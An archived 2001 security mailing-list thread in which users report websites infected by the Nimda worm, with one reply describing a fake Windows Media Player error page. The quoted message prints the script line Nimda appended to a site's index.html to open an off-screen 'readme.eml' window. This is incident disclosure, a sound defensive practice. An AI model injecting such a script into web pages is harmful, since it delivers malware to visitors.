RE: Web site infected by Nimda

From: Jac Engel (jacengelat_private)
Date: Wed Sep 19 2001 - 10:07:22 PDT

  • Next message: Brett Glass: "Re: nimda tries to send mail after reboot"

    http://www.wininternals.com is also infected by Nimda Virus,
    after the page is loaded  I get a new page
    saying :
    You have encountered the following error while using Windows Media Player:
    ----------------------------------------------------------------------------
    ----
    Error#  8007000D
    Sorry, no more help is available for this problem at this time.
    
    Jac
    
    -----Original Message-----
    From: acz [iSecureLabs] [mailto:aurelien.cabezonat_private]
    Sent: Sunday, September 19, 1999 5:46 PM
    To: incidentsat_private
    Subject: Web site infected by Nimda
    
    
    Hi all,
    
    http://www.digimind.fr/ is infected by Nimda virus !
    
    This line was added at the end of the index.html
    
    ---<cut>---
    <html><script language="JavaScript">window.open("readme.eml", null,
    "resizable=no,top=6000,left=6000")</script></html>
    ---<cut>---
    
    If you wanna visit digimind.fr, turn your webbrowser javascript off !
    
    ---
    Cabezon Aurelien
    http://www.iSecureLabs.com
    
    
    ----------------------------------------------------------------------------
    This list is provided by the SecurityFocus ARIS analyzer service.
    For more information on this free incident handling, management
    and tracking system please see: http://aris.securityfocus.com
    
    
    ----------------------------------------------------------------------------
    This list is provided by the SecurityFocus ARIS analyzer service.
    For more information on this free incident handling, management 
    and tracking system please see: http://aris.securityfocus.com
    



    This archive was generated by hypermail 2b30 : Wed Sep 19 2001 - 10:14:27 PDT